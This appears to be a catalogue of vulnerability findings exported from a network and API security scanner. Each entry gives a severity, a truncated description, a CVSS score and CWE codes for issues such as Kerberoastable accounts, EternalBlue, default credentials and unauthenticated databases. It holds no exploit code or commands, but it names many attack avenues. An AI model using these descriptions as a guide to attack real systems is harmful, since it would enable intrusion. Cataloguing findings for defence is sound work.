SS3-031 INFO Active Directory Domain Controller Identified
A host with open ports 88 (Kerberos), 389 (LDAP), and/or 3268 (Global Catalog) was identified as a likely Active Directo...
— —
SS3-032 HIGH Kerberoastable Service Account Identified
Kerbrute or ldapdomaindump identified a service account with a ServicePrincipalName (SPN). Kerberos TGS tickets for SPNs...
8.1 CWE-522
SS3-033 HIGH AS-REP Roastable Account Identified
A user account has Kerberos pre-authentication disabled. An AS-REP response can be requested and cracked offline without...
7.5 CWE-522
SS3-034 CRITICAL BloodHound: Attack Path to Domain Admin Found
BloodHound-Python graph collection identified a privilege escalation path from a compromised account to Domain Admin rig...
8.8 CWE-732 CWE-269
SS3-035 HIGH NFS Export Accessible Without Authentication
An NFS export is accessible without authentication or with world-readable permissions. Sensitive files on the export may...
7.5 —
SS3-036 HIGH RDP Exposed to Network
Remote Desktop Protocol (port 3389) is accessible from the network. RDP has a history of critical vulnerabilities and ex...
9.8 —
SS3-037 HIGH Telnet Service Exposed
Telnet (port 23) is exposed on the network. Telnet transmits all data including credentials in cleartext. Any network ob...
7.5 —
SS3-038 HIGH FTP Cleartext Credentials
FTP (port 21) transmits credentials in cleartext. Credentials captured during banner grab or brute-force are fully reada...
7.5 —
SS3-039 CRITICAL VNC Accessible Without Authentication
A VNC service is accessible from the network without requiring authentication. An attacker has full graphical desktop ac...
9.8 —
SS3-040 HIGH WordPress Vulnerability Detected (WPScan)
WPScan identified a known vulnerability in the WordPress core, a plugin, or a theme. WordPress vulnerabilities frequentl...
— CWE-89 CWE-79 CWE-434 +1
SS3-041 MEDIUM Gobuster: Sensitive Path Discovered
Gobuster directory brute-force discovered a sensitive path such as /admin, /backup, /.git, /config, /api/v1, or /.env ex...
5.3 CWE-548
SS3-042 CRITICAL IPMI Authentication Bypass
The IPMI/BMC interface is vulnerable to an authentication bypass (CVE-2013-4786 / Cipher 0 attack) allowing unauthentica...
9.8 CWE-287 CWE-306
SS3-043 CRITICAL Oracle Database Default Credentials (ODAT)
ODAT discovered valid credentials on an Oracle database listener (port 1521). An attacker with database access can exfil...
9.8 —
SS3-044 CRITICAL MSSQL Default Credentials (msdat)
msdat discovered valid credentials on a Microsoft SQL Server (port 1433/1434). Attackers can query data, execute xp_cmds...
9.8 CWE-287 CWE-521
SS3-045 HIGH Sploitus: Public Exploit Available for Detected Version
Sploitus API returned a public exploit matching the service version detected during port scanning. The vulnerability is ...
— CWE-1035
SS3-046 HIGH Metasploit Module Available for Detected Vulnerability
The Metasploit Framework contains one or more scanner or exploit modules matching a CVE identified during scanning. The ...
— CWE-1035
SS3-047 CRITICAL EternalBlue (MS17-010) — Host Confirmed Vulnerable
The target host has been positively confirmed as vulnerable to EternalBlue (MS17-010). The SMBv1 implementation in the W...
9.8 —
SS3-048 CRITICAL EternalBlue (MS17-010) — Likely Vulnerable (SMBv1 + Unpatched)
The target host exposes SMBv1 and does not appear to have the MS17-010 patch applied, indicating a high likelihood of vu...
9.8 —
SS3-049 CRITICAL SMBv1 Protocol Enabled (EternalBlue Risk)
The SMBv1 protocol is enabled on this host. SMBv1 is a legacy protocol deprecated by Microsoft in 2014 that contains the...
9.8 CWE-693 CWE-119
SS3-050 CRITICAL IPMI 2.0 Cipher Suite 0 — Authentication Bypass and Hash Capture
The IPMI 2.0 implementation on this host accepts Cipher Suite 0 (null authentication), allowing an unauthenticated attac...
9.8 CWE-287 CWE-306
SS3-051 HIGH SSH Vulnerability: SSHv1 Protocol Supported
The SSH server on this host advertises support for the SSHv1 protocol. SSHv1 is cryptographically broken and contains fu...
7.4 CWE-327
SS3-052 CRITICAL SSH Vulnerability: 'none' Authentication Accepted (libSSH Bypass CVE-2018-10933)
The SSH server accepts the 'none' authentication method due to an authentication bypass vulnerability in libSSH (CVE-201...
9.8 CWE-287
SS3-053 MEDIUM SSH Vulnerability: Weak/Deprecated Cryptographic Algorithms
The SSH server advertises support for deprecated or weak cryptographic algorithms in its key exchange, host key, cipher,...
5.9 CWE-326 CWE-327
SS3-054 HIGH MS12-020 RDP Vulnerability Detected
The Remote Desktop Protocol (RDP) service on this host appears vulnerable to MS12-020, which includes CVE-2012-0152 (den...
9.3 CWE-287 CWE-693
SS3-055 HIGH RDP Weak or No Encryption Configured
The RDP service is configured with a low or incompatible security layer, or does not enforce strong encryption. Configur...
7.4 CWE-287 CWE-693
SS3-056 HIGH RDP Without NLA (Network Level Authentication) — BlueKeep Exposure
Network Level Authentication (NLA) is not enforced on the RDP service. Without NLA, unauthenticated network sessions are...
8.1 CWE-287 CWE-693
SS3-057 HIGH NFS Export Points Enumerated — Potentially Unauthenticated Access
The NFS server responded to a showmount query and disclosed its export list. One or more exports are configured with ove...
7.5 CWE-284 CWE-552
SS3-058 MEDIUM NFS Directory Listing Accessible
An NFS-mounted export directory listing was successfully retrieved, confirming that the export can be mounted and browse...
5.3 CWE-284 CWE-552
SS3-059 HIGH SMTP Open Mail Relay Detected
The SMTP server on this host will relay email for external domains, acting as an open mail relay. Open relays can be abu...
7.5 CWE-284
SS3-060 MEDIUM SMTP User Enumeration Possible via VRFY
The SMTP server responds to VRFY (verify) commands, allowing an unauthenticated client to enumerate valid email addresse...
5.3 CWE-203
SS3-061 MEDIUM SIP Extension / User Enumeration
The SIP (Session Initiation Protocol) service responds differently to OPTIONS or REGISTER requests for valid versus inva...
5.3 CWE-203
SS3-062 MEDIUM WebDAV Enabled
The web server has WebDAV (Web-based Distributed Authoring and Versioning) enabled. WebDAV extends HTTP with methods inc...
5.4 CWE-434 CWE-284
SS3-063 MEDIUM JetDirect / PJL Printer Accessible
An HP JetDirect or compatible printer management interface (port 9100 / PJL) is accessible from the network. The Printer...
6.5 CWE-284 CWE-311
SS3-064 CRITICAL Redis Unauthenticated Access
The Redis server on this host is accessible without authentication. Redis provides no access control beyond an optional ...
9.8 CWE-306 CWE-284
SS3-065 CRITICAL MySQL Unauthenticated Access — Root with No Password
The MySQL server accepts connections as the root user without a password from the network. This grants an attacker full ...
9.8 CWE-306 CWE-521
SS3-066 HIGH MySQL CVE-2012-2122 Authentication Bypass Risk
The MySQL version detected on this host is potentially vulnerable to CVE-2012-2122, a memory comparison timing flaw in t...
8.1 CWE-287
SS3-067 CRITICAL VMware ESXi Management Interface Exposed
A VMware ESXi management interface (vSphere Client HTTPS on port 443, or ESXi Shell on port 22) is accessible from the n...
9.8 CWE-284 CWE-749
SS3-068 HIGH RPC Null Session Permitted
The Windows RPC endpoint mapper accepts unauthenticated null session connections. A null session permits unauthenticated...
7.5 CWE-306 CWE-284
SS3-069 HIGH SMB Null Session Permitted
The SMB server permits null session connections — unauthenticated connections using an empty username and password. Via ...
7.5 CWE-306 CWE-284
SS3-070 CRITICAL SMB Administrative Access via Credentials
Valid credentials were used to authenticate to the SMB service with administrative privileges, and access to administrat...
9.0 CWE-269 CWE-732
SS3-071 HIGH SMB Share Identified with WRITE Permissions
An SMB share has been confirmed to be writable with the credentials used during the scan. Write access to a network shar...
8.1 CWE-269 CWE-732
SS3-072 HIGH SMB Share-Level Authentication (No User-Level Auth)
The SMB server is configured to use share-level authentication rather than user-level authentication. Under share-level ...
7.5 CWE-306 CWE-284
SS3-073 HIGH BloodHound AD Graph Data Collected
BloodHound-Python successfully collected Active Directory object data including users, groups, computers, GPOs, OUs, and...
7.7 CWE-732 CWE-269
SS3-074 HIGH LDAP Domain Users Enumerated
LDAP enumeration successfully retrieved a list of domain user accounts from Active Directory. The enumerated data may in...
7.7 CWE-306 CWE-203
SS3-075 MEDIUM Valid Kerberos Usernames Enumerated
Kerbrute or a similar tool enumerated valid Active Directory usernames by sending AS-REQ messages and observing Kerberos...
5.3 CWE-306 CWE-203
SS3-076 HIGH Domain Accounts with Password Not Required
One or more Active Directory user accounts have the PASSWD_NOTREQD (UF_PASSWD_NOTREQD, userAccountControl bit 0x0020) fl...
8.1 CWE-521 CWE-306
SS3-077 HIGH Privileged Domain Accounts Identified
LDAP enumeration identified user accounts with membership in highly privileged Active Directory groups such as Domain Ad...
7.7 CWE-269 CWE-732
SS3-078 HIGH WordPress Core Vulnerability
WPScan identified a known vulnerability in the WordPress core installation. WordPress core vulnerabilities range from au...
8.8 CWE-89 CWE-79 CWE-434 +1
SS3-079 HIGH WordPress Plugin Vulnerability
WPScan identified a known security vulnerability in an installed WordPress plugin. Plugin vulnerabilities are the most c...
8.8 CWE-89 CWE-79 CWE-434 +1
SS3-080 HIGH WordPress Theme Vulnerability
WPScan identified a known security vulnerability in an active or inactive WordPress theme. Vulnerable themes can expose ...
7.2 CWE-89 CWE-79 CWE-434 +1
SS3-081 MEDIUM WordPress User Enumeration
WPScan successfully enumerated WordPress user accounts via the author archive URL pattern (?author=N) or the REST API en...
5.3 CWE-89 CWE-79 CWE-434 +1
SS3-082 INFO Discovery: Login Page
A web application login page was detected on the target host. Login pages represent the primary authentication attack su...
— 200
SS3-083 INFO Discovery: Web Page
A web page or HTTP service was identified on a non-standard port or host during service enumeration. The URL, title, sta...
— CWE-200
SS3-084 LOW Default Webpage Detected
The web server is serving a vendor or platform default welcome page (e.g., 'Apache2 Default Page', 'IIS Windows Server',...
3.1 CWE-200
SS3-085 INFO Application Identified at Login Page
The web application framework, CMS, or product was identified from the login page content, headers, cookies, or source c...
— CWE-200
SS3-086 INFO Authentication Method Identified
The authentication mechanism used by the target web application or service was identified. This includes HTTP Basic, NTL...
— CWE-200
SS3-087 CRITICAL Valid Credentials via Brute Force
Automated credential brute-force or password spraying discovered a valid username and password combination against a net...
9.8 CWE-307 CWE-521
SS3-088 HIGH Public Exploit Available
A public proof-of-concept or weaponised exploit was found for a vulnerability identified during the scan, sourced from E...
8.1 CWE-1035
SS3-089 HIGH Metasploit Module Available
A Metasploit Framework module (auxiliary scanner or exploit) was identified that matches a vulnerability or service vers...
8.1 CWE-1035
SS3-090 MEDIUM Insecure Protocol Detected: HTTP
A web application or service is served over unencrypted HTTP. All data transmitted between the client and server includi...
5.9 CWE-311 CWE-319
SS3-091 HIGH Deprecated Protocol Enabled
A deprecated network protocol is enabled on this host. Deprecated protocols lack modern security controls including stro...
7.5 CWE-311 CWE-319
SS3-092 CRITICAL Information Disclosure: Plaintext Credentials in Web Content
Credentials (usernames, passwords, API keys, tokens, or connection strings) were discovered in plaintext within web-acce...
9.8 CWE-311 CWE-319
SS3-093 MEDIUM SSL/TLS Vulnerability: BEAST
The server is susceptible to the BEAST attack (Browser Exploit Against SSL/TLS, CVE-2011-3389). BEAST exploits a CBC mod...
3.4 CWE-326 CWE-327
SS3-094 MEDIUM SSL/TLS Vulnerability: LUCKY13
The server supports CBC mode cipher suites with HMAC-SHA1 or HMAC-MD5, making it potentially susceptible to the LUCKY13 ...
3.7 CWE-326 CWE-327
SS3-095 MEDIUM SSL/TLS Vulnerability: SWEET32
The server supports cipher suites using 64-bit block ciphers (Triple-DES/3DES or Blowfish), making it susceptible to the...
5.3 CWE-327
SS3-096 MEDIUM SSL/TLS Certificate: Chain Incomplete
The TLS server does not present the full certificate chain during the TLS handshake, omitting one or more intermediate C...
4.3 CWE-295 CWE-326
SS3-097 LOW SSL/TLS Certificate: Long Duration
The TLS certificate has a validity period exceeding 398 days (approximately 13 months). Since September 2020, Apple, Goo...
3.1 CWE-295 CWE-326
SS3-098 LOW SSL/TLS Certificate: Missing SAN
The TLS certificate does not contain a Subject Alternative Name (SAN) extension. Since 2017, all major browsers require ...
3.1 CWE-295 CWE-326
SS3-099 INFO SSL/TLS Certificate: Serial Number Entropy
The TLS certificate serial number has low entropy, suggesting it was generated with a non-random or predictable serial n...
— CWE-200
SS3-100 MEDIUM SSL/TLS Certificate: Weak Encryption Method
The TLS certificate uses a weak signature algorithm or public key. This includes SHA-1 signed certificates (deprecated s...
5.9 CWE-295 CWE-326
SS3-101 LOW SSL/TLS Session: Long Duration
The TLS server allows session resumption with a session ticket lifetime or session cache timeout exceeding recommended l...
3.7 CWE-326 CWE-327
SS3-102 MEDIUM SSL/TLS Cipher: No Cipher Order Configured
The TLS server does not enforce server-side cipher suite ordering, instead accepting the client's preferred cipher suite...
4.8 CWE-326 CWE-327
SS3-103 MEDIUM SSL/TLS Ciphers: Obsolete Ciphers
The TLS server supports one or more obsolete cipher suites that have been removed from TLS 1.3 and marked as prohibited ...
7.5 CWE-326 CWE-327
SS3-104 CRITICAL SSL/TLS Vulnerability: Heartbleed (CVE-2014-0160)
The target server is confirmed vulnerable to Heartbleed (CVE-2014-0160). The OpenSSL heartbeat extension does not proper...
7.5 —
SS3-105 INFO OS Version Detected
The operating system name and version were detected via service banner analysis, TCP/IP stack fingerprinting, or SMB/RPC...
— CWE-200
SS3-106 CRITICAL OS End-of-Life
The operating system running on this host has reached End-of-Life (EOL) status and is no longer receiving security updat...
9.8 CWE-1104
SS3-107 HIGH OS End-of-Life (Extended Support)
The operating system is within its Extended Support (or Extended Security Updates) period, meaning the vendor continues ...
7.5 CWE-1104
SS3-108 INFO Software Version Detected
A specific software version was detected on the target host via service banner, HTTP header, or application response fin...
— CWE-200
SS3-109 HIGH Known Vulnerability
A known vulnerability was identified in a service, application, or operating system component on the target host, matche...
— CWE-1035
SS3-110 HIGH Vulners CVE Match
The Vulners vulnerability intelligence API returned a CVE match for the service version detected during port scanning. V...
— CWE-1035
SS-001 [Nuclei] {title} — —
SS-002 Apache Tomcat Manager Login Page Detected: {url} — —
SS-003 Discovery: Default Webpage — —
SS-004 Deprecated Protocol Enabled: {_norm_proto} — —
SS-005 Deprecated Protocol Enabled: {_TESTSSL_PROTO_IDS[_tsf_id]} — —
SS-006 Deprecated Protocol Enabled: {proto} — —
SS-007 EOL Software (Extended Support): {software_name} {version} — —
SS-008 EOL Software: {software_name} {version} — —
SS-009 Insecure Protocol Detected: {_insec_name} — —
SS-010 IPMI Cipher Suite 0 Auth Bypass Confirmed — user={user} — —
SS-011 Known Vulnerability: {software_name} {version} — {cve_desc} — —
SS-012 libSSH Authentication Bypass (CVE-2018-10933) — v{ver} — —
SS-013 Metasploit Module Available: {cve} — —
SS-014 Missing Security Header: {header_name} — —
SS-015 MySQL CVE-2012-2122 Authentication Bypass Risk (v{server_ver}) — —
SS-016 NFS Export Enumerated: {_export_path} — —
SS-017 OS End-of-Life (Extended Support): {label} — —
SS-018 OS End-of-Life: {label} — —
SS-019 OS Version Detected: {final_os} — —
SS-020 Public Exploit Available: {cve} — —
SS-021 Responder Captured {ht} Hashes — —
SS-022 Responder Captured {proto} Credentials — —
SS-023 SMB Share Enumerated: \\\\{ip}\\{share} — —
SS-024 SMB Share Exists (No Access): {share_name} — —
SS-025 SMB Share Read Access: {share_name} — —
SS-026 Software Version Detected: {_sw_label} — —
SS-027 MEDIUM SSL/TLS Ciphers: Obsolete Ciphers — —
SS-028 SSL/TLS Vulnerability (Potential): {_tsf_id} — —
SS-029 SSL/TLS Vulnerability: {_tsf_id} — —
SS-030 SSL/TLS Vulnerability: {name} — —
SS-031 Valid Credentials via Brute Force ({svc.upper()}) — —
SS-032 VMware ESXi Management Interface Exposed{ver_str}{build_str} — —
SS-033 Vulners: {cve_id} (CVSS {score}) — —
SS-034 WordPress Core Vulnerability: {vuln_title[:80]} — —
SS-035 WordPress Plugin Vulnerability: {vuln_title[:65]} ({plugin_slug}) — —
SS-036 WordPress Theme Vulnerability: {vuln_title[:70]} ({theme_slug}) — —
SS-037 FTP Anonymous Login Permitted — —
SS-038 Heartbleed (CVE-2014-0160) — —
SS-039 Heartbleed (CVE-2014-0160) Vulnerability Detected 7.5 CWE-125
SS-040 Discovery: Hostname — CWE-200
SS-041 LLMNR/NBT-NS Broadcast Poisoning Possible 8.8 CWE-294 CWE-311 CWE-306
SS-042 Misconfigured Secure Cookie Attribute: SameSite 4.3 614 1004 1275
SS-043 Missing Secure Cookie Attribute: HttpOnly 4.3 614 1004 1275
SS-044 Missing Secure Cookie Attribute: SameSite 4.3 614 1004 1275
SS-045 Missing Secure Cookie Attribute: Secure 4.3 614 1004 1275
SS-046 Missing Security Headers — —
SS-047 MSSQL Vulnerability (msdat) 9.8 CWE-287 CWE-521
SS-048 Open Port — —
SS-049 Discovery: Open Ports — —
SS-050 Oracle Database Vulnerability (odat) 9.8 CWE-287 CWE-521
SS-051 Plaintext Credentials in Web File — —
SS-052 Reflected Cross-Site Scripting (XSS) 7.4 CWE-79 CWE-116
SS-053 Responder Captured Plaintext Credentials — —
SS-054 SMB Signing Disabled or Not Required — —
SS-055 SNMP Default Community String Accepted — —
SS-056 SQL Injection (Error-Based) 9.8 CWE-20 CWE-89 CWE-943
SS-057 Discovery: SSL/TLS Certificate — —
SS-058 SSL/TLS Certificate: Self-Signed — —
SS-059 SSL/TLS Ciphers: No Cipher Order Configured — —
SS-060 SSL/TLS DNS: Missing CAA Record 3.7 295 16
SS-061 SSL/TLS Vulnerability: Lucky13 [UNCONFIRMED] — —
SS-062 SSL/TLS Vulnerability: insecure_redirect — —
SS-063 SSL/TLS Vulnerability: ipv4_in_header — —
SS-064 SSL/TLS Vulnerability: secure_client_renego — —
SS-065 SSL/TLS Vulnerability: TLS_misses_extension_23 — —
SS-066 Weak Cipher Category Offered 5.9 CWE-326 CWE-327
SS-067 SSL/TLS Ciphers: Weak Cipher 5.9 CWE-326 CWE-327
SS-068 Weak or Default Credentials Accepted 9.8 CWE-1392
SS3-179 HIGH SSH Vulnerability: {cve_id}
ssh-audit matched the SSH server's banner against its built-in CVE database and identified one or more known vulnerabili...
— CWE-1395 CWE-1104
SS3-180 INFO SSH Configuration: Algorithm Hardening
ssh-audit reports informational-severity recommendations for the SSH server's algorithm configuration. These are not vul...
— CWE-327
SS3-181 CRITICAL VNC: No Authentication Required
The VNC server accepts connections with security type 1 (None), allowing any remote user to connect without providing cr...
9.8 CWE-306
SS3-182 INFO VNC: Authentication Required But Accessible
A VNC service is accessible on the network and requires authentication. While authentication is enforced, the service is...
— —
SS3-183 CRITICAL WinRM: No Authentication Required
The WinRM (Windows Remote Management) service responded to an unauthenticated SOAP/WS-Management request without requiri...
9.8 CWE-306
SS3-184 INFO Discovery: WinRM Service
The WinRM service is active and responding on the network. Authentication is required but the service is reachable as an...
— —
SS3-185 MEDIUM Insecure Protocol Detected: WinRM (Cleartext)
WinRM is running on port 5985 (HTTP) without TLS encryption. Administrative credentials are transmitted in cleartext or ...
5.3 CWE-319
SS3-186 HIGH Telnet Service Exposed — Cleartext Protocol
A Telnet service is exposed on the network. Telnet transmits all data including credentials in cleartext, making it triv...
7.5 CWE-319
SS3-187 CRITICAL Kubernetes API: Unauthenticated Access
The Kubernetes API server is accessible without authentication. Unauthenticated requests can list, create, and modify cl...
9.8 CWE-306
SS3-188 CRITICAL Kubelet API: Unauthenticated Access
The Kubelet API on port 10250 is accessible without authentication, allowing direct interaction with containers running ...
9.8 CWE-306
SS3-189 INFO Kubernetes API Endpoint Detected
A Kubernetes API endpoint was detected on the network. Authentication is enforced but the endpoint's presence confirms a...
— —
SS3-190 HIGH Rsync: Anonymous Module Access
The rsync daemon allows anonymous listing and potentially read/write access to shared modules without authentication.
7.5 CWE-284
SS3-191 HIGH Java RMI Registry Exposed
A Java RMI registry is exposed on the network. The JRMI handshake was confirmed. Exposed RMI registries are vulnerable t...
8.1 CWE-502
SS3-192 CRITICAL Memcached: Unauthenticated Access
Memcached is accessible without authentication. The 'stats' command returned data successfully, confirming no authentica...
9.1 CWE-306
SS3-193 HIGH Elasticsearch: Unauthenticated Access
Elasticsearch is accessible without authentication. Cluster health, indices, and all stored data can be queried and modi...
7.5 CWE-306
SS3-194 HIGH MQTT Broker: No Authentication Required
The MQTT broker accepted a CONNECT packet without credentials (CONNACK return code 0x00), confirming no authentication i...
7.5 CWE-306
SS3-195 INFO MQTT Broker Detected
An MQTT broker was detected on the network. Authentication is enforced (CONNACK rejected unauthenticated connection).
— —
SS3-196 CRITICAL RabbitMQ: Default Credentials (guest/guest)
The RabbitMQ management UI is accessible with default credentials (guest/guest). The management API returned cluster ove...
9.8 CWE-1392
SS3-197 INFO RabbitMQ Management UI Exposed
The RabbitMQ management UI on port 15672 is accessible on the network. Default credentials were rejected, indicating cus...
— —
SS3-198 INFO AMQP Service Detected
An AMQP service was detected on port 5672. The protocol header exchange confirmed the service accepts AMQP 0-9-1 connect...
— —
SS3-199 MEDIUM POP3: STARTTLS Not Supported
The POP3 server on port 110 does not advertise STLS capability in its CAPA response, meaning email retrieval credentials...
5.3 CWE-319
SS3-200 MEDIUM IMAP: STARTTLS Not Supported
The IMAP server on port 143 does not advertise STARTTLS capability in its CAPABILITY response, meaning email credentials...
5.3 CWE-319
SS3-201 CRITICAL Cloud Metadata Endpoint Accessible
The cloud instance metadata endpoint (169.254.169.254) is accessible from an internal web service, indicating potential ...
9.1 CWE-918
SS3-202 CRITICAL Jenkins: Unauthenticated Groovy Console (RCE)
The Jenkins Groovy Script Console at /script is accessible without authentication, allowing execution of arbitrary Groov...
9.8 CWE-306
SS3-203 HIGH Jenkins: Unauthenticated Management Console
The Jenkins management console at /manage is accessible without authentication, exposing system configuration, plugin ma...
7.5 CWE-306
SS3-204 HIGH Kerberoastable Service Accounts Identified
Service accounts with registered Service Principal Names (SPNs) were identified via Kerberos TGS-REP ticket requests. Th...
7.5 CWE-916
SS3-205 MEDIUM LDAP: Anonymous Enumeration — Users and Groups Discovered
LDAP anonymous bind is permitted and was used to enumerate Active Directory users, groups, and password policies. User/g...
5.3 CWE-200
SS3-206 CRITICAL SMBv3 Remote Code Execution (CVE-2020-0796)
The host is vulnerable to CVE-2020-0796 (SMBGhost), a buffer overflow in SMBv3 compression handling in Windows 10 (1903/...
10.0 CWE-119
SS3-207 CRITICAL FTP Default Credentials Accepted
The FTP service accepted well-known default or factory-set credentials, granting authenticated access to the file transf...
9.8 CWE-521 CWE-798
SS3-208 LOW FTP Brute Force Protection Not Detected
The FTP server did not exhibit rate limiting, account lockout, or connection throttling after multiple rapid failed logi...
5.3 CWE-307
SS-069 MEDIUM Information Disclosure: Internal IP in HTTP Response
The HTTP response body or headers from a web service contain one or more RFC 1918 private IP addresses (10/8, 172.16/12,...
5.3 CWE-200
SS-070 INFO Unnecessary/Outdated Website Available
The website shows indicators of being outdated, abandoned, or unnecessary, such as old copyright dates, under-constructi...
— CWE-1104
SS-071 CRITICAL Unauthenticated Docker API Exposed
The Docker Engine API is accessible without authentication. Endpoints such as /v1.24/containers/json and /v1.24/images/j...
9.8 CWE-306
SS-072 CRITICAL PostgreSQL Trust Authentication Enabled
PostgreSQL accepts connections as user 'postgres' without requiring a password, indicating trust authentication is confi...
9.8 CWE-306 CWE-287
SS-073 HIGH Unauthenticated CouchDB Access
CouchDB allows unauthenticated access to the /_all_dbs endpoint, revealing the list of all databases on the server.
7.5 CWE-306
SS-074 HIGH Grafana Unauthenticated API Access
Grafana allows unauthenticated access to API endpoints such as /api/org, exposing organization details, dashboards, and ...
7.5 CWE-306
SS-075 CRITICAL Grafana Default Credentials (admin:admin)
Grafana accepts the default credentials admin:admin, granting full administrative access to the Grafana instance.
9.8 CWE-1393 CWE-798
SS-076 HIGH Unauthenticated Kibana Access
Kibana exposes its /api/status endpoint without authentication, revealing version information and system status. Full un...
7.5 CWE-306
SS-077 HIGH Cassandra Unauthenticated CQL Access
Cassandra CQL accepted a STARTUP frame and returned READY without requesting authentication, indicating the PasswordAuth...
8.6 CWE-306
SS-078 HIGH Git Repository Exposed via Web
The web server exposes a .git directory. The /.git/HEAD file returns a valid Git ref, indicating the full repository is ...
7.5 CWE-538 CWE-200
SS-079 MEDIUM HTTP Methods: Unsafe Methods Enabled
The web server allows dangerous HTTP methods such as PUT, DELETE, MOVE, COPY, or PROPFIND as reported by the OPTIONS res...
5.3 CWE-749
SS-080 MEDIUM HTTP Methods: Unsafe Methods Enabled
The web server responds to HTTP TRACE requests by echoing the full request back, including all headers.
3.7 CWE-693
SS-081 MEDIUM {_status_label} Page Exposed
The Apache server-status or server-info page is publicly accessible, exposing detailed server information including vers...
5.3 CWE-200
SS-082 LOW Information Disclosure: Internal Hostname in HTTP Response
The HTTP response contains internal hostnames matching common internal TLD patterns (.local, .internal, .corp, .lan, .in...
3.7 CWE-200
SS-083 MEDIUM Debug Endpoint Exposed: {_dbg_label}
A debug or management endpoint (e.g., /actuator, /actuator/env, /debug, /__debug__, /console) is accessible and returns ...
5.3 CWE-215 CWE-489
SS-084 HIGH PHP Info Page Exposed
A phpinfo() page is accessible, exposing the complete PHP configuration including loaded modules, file paths, environmen...
5.3 CWE-200
SS-085 LOW DNS Server Version Disclosed
The DNS server discloses its version string via a CHAOS TXT query for version.bind.
3.7 CWE-200
SS-086 MEDIUM SMTP Mailing List Enumeration via EXPN
The SMTP EXPN command is enabled and reveals mailing list membership, disclosing valid email addresses and group members...
5.3 CWE-200
SS-087 MEDIUM SSL/TLS Certificate: Hostname Mismatch
The SSL/TLS certificate Common Name (CN) does not match the hostname used to connect, as reported by testssl.sh.
4.8 CWE-295
SS-088 INFO Information Disclosure: Sensitive Path in robots.txt
The robots.txt file contains Disallow entries for potentially sensitive paths such as admin panels, backup directories, ...
— CWE-200
SS-089 LOW Information Disclosure: Internal Hostname in SAN
The SSL/TLS certificate includes internal hostnames in its Subject Alternative Names, matching patterns like .local, .in...
3.7 CWE-200
SS-090 MEDIUM UPnP/SSDP Service Responding
The UPnP/SSDP service responded to an M-SEARCH discovery request, revealing device information and service endpoints.
5.3 CWE-200
SS-091 HIGH MongoDB Unauthenticated Access
MongoDB accepted an isMaster query via the native OP_QUERY protocol without requiring authentication, indicating authori...
8.6 CWE-306
SS3-209 MEDIUM Directory Listing Enabled
The web server has directory listing enabled, displaying file names, sizes, and modification dates to anyone who request...
5.3 CWE-548
SS3-210 MEDIUM SSL/TLS Certificate: Not Trusted
The SSL/TLS certificate is not trusted by common certificate stores, as reported by testssl.sh. This may indicate a self...
4.8 CWE-295
SS3-210 MEDIUM SSL/TLS Forward Secrecy: Not Supported
The server does not offer any cipher suites with forward secrecy (ECDHE or DHE key exchange). Without forward secrecy, c...
5.9 CWE-326
SS3-211 LOW SSH Password Authentication Enabled
The SSH server accepts password-based authentication methods (password and/or keyboard-interactive) alongside public key...
3.7 CWE-307 CWE-521
SS3-212 MEDIUM SSH Password-Only Authentication (No Public Key)
The SSH server accepts only password-based authentication methods (password and/or keyboard-interactive) with no public ...
5.3 CWE-307 CWE-521 CWE-287
SS3-213 INFO Discovery: O365 Tenant Detected
The target domain uses Microsoft 365 / Azure AD for email and authentication. MX records point to *.protection.outlook.c...
— —
SS3-214 MEDIUM Enumeration: O365 Account Enumeration
Valid O365 user accounts were confirmed via Azure AD authentication endpoint enumeration. The endpoint returns different...
5.3 CWE-204
SS3-215 HIGH Unauthenticated X11 Display Access
An X11 display server accepts connections without authentication. The service responded to either xdpyinfo queries or ra...
7.5 CWE-306
SS3-216 INFO X11 Display Detected (Authentication Required)
An X11 display server is running but requires authentication to connect. The X11 protocol handshake was rejected with an...
— —
SS3-217 CRITICAL Default Credentials: {SERVICE}
brutespray confirmed that a network service accepts default or factory-preset credentials. The service responded with a ...
9.8 CWE-798 CWE-1392
SS3-218 HIGH Weak Credentials: {SERVICE}
brutespray confirmed that a network service accepts weak or easily guessable credentials. The service authenticated succ...
7.5 CWE-521 CWE-1391
SI-001 INFO API Endpoint Discovered (dirsearch)
Siphon discovered an API endpoint via directory and path brute-forcing using dirsearch. The endpoint was not necessarily...
— —
SI-002 INFO API Endpoint Discovered (Feroxbuster)
Siphon discovered an API endpoint via recursive content discovery using Feroxbuster. The endpoint responded with a non-4...
— —
SI-003 INFO API Endpoint Discovered (FFUF)
Siphon discovered an API endpoint using FFUF (Fuzz Faster U Fool), a high-speed web fuzzer. The endpoint returned a resp...
— —
SI-004 INFO API Endpoint Discovered (Kiterunner)
Siphon discovered an API endpoint using Kiterunner, a tool purpose-built for API route discovery that replays real-world...
— —
SI-005 INFO API Framework Identified
Siphon successfully fingerprinted the API framework in use (e.g., FastAPI, Django REST Framework, Spring Boot, Express, ...
— —
SI-006 INFO Undocumented API Endpoint Detected
Siphon detected a live API endpoint that is not present in the provided API specification (OpenAPI/Swagger). Undocumente...
— —
SI-007 INFO Undocumented HTTP Method Accepted
Siphon discovered that a documented API endpoint accepts an HTTP method that is not listed in the API specification. For...
— —
SI-008 INFO Undocumented API Parameter Accepted
Siphon detected that an API endpoint accepts a query or body parameter that is not declared in the API specification. Th...
— —
SI-009 INFO Undocumented Parameter Accepted
Siphon detected that an API endpoint silently accepts an extra parameter that produces a changed or differentiated respo...
— —
SI-010 INFO Endpoint Not in Scope File
Siphon discovered an endpoint that is not listed in the provided scope file. This is an informational flag indicating th...
— —
SI-011 INFO HTTP Method Not in Scope File
Siphon detected an HTTP method being accepted by a scoped endpoint that is not listed in the scope file for that endpoin...
— —
SI-012 INFO GraphQL Subscription Endpoint Detected
Siphon detected a GraphQL subscription endpoint, which enables real-time data push over WebSocket or Server-Sent Events....
— —
SI-013 INFO JWT Contains jku Header
Siphon detected a JWT token containing a jku (JWK Set URL) header parameter. The jku header allows the token to specify ...
— —
SI-014 LOW JWT Missing Issued-At Claim
The JWT issued by the API does not include an iat (issued-at) claim. The iat claim records when the token was created an...
3.1 —
SI-015 INFO File Upload Endpoint Detected
Siphon identified an API endpoint that accepts file uploads (multipart/form-data or binary body). File upload endpoints ...
— 200 284
SI-016 INFO Potential Undocumented Upload Endpoint Discovered
Siphon discovered a potential file upload endpoint that is not listed in the API specification. The endpoint was identif...
— —
SI-017 LOW JWT Missing Expiry Claim
The JWT issued by the API does not contain an exp (expiration) claim. Without an expiration claim, the token is theoreti...
4.3 613 287
SI-018 LOW Information Disclosure: Server Header
The API response includes a Server HTTP header that discloses the web server software and version (e.g., Apache/2.4.51, ...
3.7 CWE-200
SI-019 LOW Information Disclosure: Via Header
